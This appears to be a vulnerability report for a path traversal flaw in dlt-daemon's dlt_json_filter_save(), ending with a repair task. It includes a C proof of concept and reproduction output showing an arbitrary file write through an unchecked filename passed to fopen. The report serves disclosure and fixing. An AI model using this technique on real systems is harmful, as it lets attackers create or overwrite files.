Path Traversal in dlt_json_filter_save()

### Summary

The dlt_json_filter_save() API is vulnerable to Path Traversal leading to Arbitrary File Write/Truncation due to an absolute lack of input validation. The function accepts a raw string via the filename parameter, which is passed directly to fopen(filename, "w") at dlt-control-common.c:970 without any canonicalization or path restriction.

https://github.com/COVESA/dlt-daemon/blob/b84dbc0d1ab35f686dd225956d33c003b5917ab6/src/console/dlt-control-common.c#L970

This specific vulnerable block is active when the project is compiled with -DWITH_EXTENDED_FILTERING=ON under the QNX platform guard (#ifdef __QNX__). Consequently, if a calling application passes user-controlled input to this function, an attacker can inject relative path modifiers (e.g., ../) to traverse directories, allowing them to create or entirely overwrite arbitrary files with the privileges of the running process.

### PoC

```
#include
#include

#include "dlt_types.h"
#include "dlt-control-common.h"

extern DltReturnValue dlt_json_filter_save(DltFilter *filter, const char *filename, int verbose);

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s \n", argv[0]);
return 1;
}

DltFilter filter;
memset(&filter, 0, sizeof(DltFilter));

char *target_path = argv[1];
printf("[*] Calling dlt_json_filter_save() from the actual library.\n");
printf("[*] Target path provided: %s\n", target_path);

DltReturnValue ret = dlt_json_filter_save(&filter, target_path, 1);

if (ret == DLT_RETURN_OK) {
printf("[+] SUCCESS: Vulnerability successfully triggered in the actual library!\n");
return 0;
} else {
printf("[-] FAILURE: The function returned an error.\n");
return 1;
}
}

```

### Reproduction Steps
```
$ ./poc "/tmp/../tmp/poc_test.txt"
[*] Calling dlt_json_filter_save() from the actual library.
[*] Target path provided: /tmp/../tmp/poc_test.txt
Saving current filter into '/tmp/../tmp/poc_test.txt'
[+] SUCCESS: Vulnerability successfully triggered in the actual library!

ls -l /tmp/poc_test.txt
-rw-rw-r-- 1 ubuntu ubuntu 37 Jun 24 05:57 /tmp/poc_test.txt
```

Due to the lack of a QNX environment, the target function was manually enabled as shown below to conduct the test.

```
DltReturnValue dlt_json_filter_save(DltFilter *filter, const char *filename, int verbose)
{
if ((filter == NULL) || (filename == NULL))
return DLT_RETURN_WRONG_PARAMETER;

if(verbose)
pr_verbose("dlt_json_filter_save()\n");

printf("Saving current filter into '%s'\n", filename);
FILE *handle = fopen(filename, "w");
fprintf(handle, "poc test\n");

fclose(handle);

return DLT_RETURN_OK;
}
```

Start in src/console/dlt-control-common.c at dlt_json_filter_save(), especially the fopen call around line 970 and the __QNX__/WITH_EXTENDED_FILTERING path. Review the reported PoC and determine safe filename handling for this API; done means traversal can no longer cause arbitrary file creation or truncation while valid filter saves continue to work.

Written by the indexing model from the issue text.